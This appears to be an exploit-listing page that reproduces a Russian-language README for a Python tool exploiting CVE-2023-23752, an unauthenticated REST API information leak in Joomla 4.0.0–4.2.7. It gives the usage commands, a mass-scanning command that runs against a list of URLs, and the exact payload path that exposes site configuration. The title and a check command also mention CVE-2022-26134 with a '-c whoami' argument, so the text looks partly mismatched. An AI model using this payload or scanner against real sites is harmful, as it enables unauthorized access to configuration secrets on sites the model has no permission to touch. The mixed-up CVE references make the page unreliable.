Exploit for CVE-2023-23752 CVE-2022-26134 CVE-2023-23752

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YTXZX-CVE-2023-23752
CVE-2023-23752 - Воспроизведение уязвимости неавторизованного доступа в Joomla

# Использование скрипта

Установка библиотек Python

pip install -r requirements.txt

Проверка уязвимости

python3 CVE-2022-26134_check.py -u url -c whoami

![изображение](https://assets.kitploit.com/production/public/readmes/34737/29a6f0085d19c4253347e9ab20c533b15ba96e4f25cefa298c52682838bc5732.png)

Массовое сканирование

python3 CVE-2023-23752.py -f url_part.txt

![изображение](https://assets.kitploit.com/production/public/readmes/34737/4a8d7edae6c302049b4ccadd44e5f3442661ad76051bb829fc215d29954dcc10.png)

# Затронутые версии

4.0.0 <= Joomla <= 4.2.7

# Воспроизведение уязвимости

payload:

/api/index.php/v1/config/application?public=true

Перейдите по уязвимому адресу, перехватите пакет, повторите отправку пакета.

![изображение](https://assets.kitploit.com/production/public/readmes/34737/72b489643730f2e66ecf0798af2e28708b8c5c40a4a874a808f01e1ef51bac2a.png)

# Принцип уязвимости

В Joomla! CMS версии 4.0.0–4.2.7 из-за неправильного ограничения доступа к конечным точкам веб-служб возможен неавторизованный доступ к REST API, что приводит к утечке конфиденциальной информации.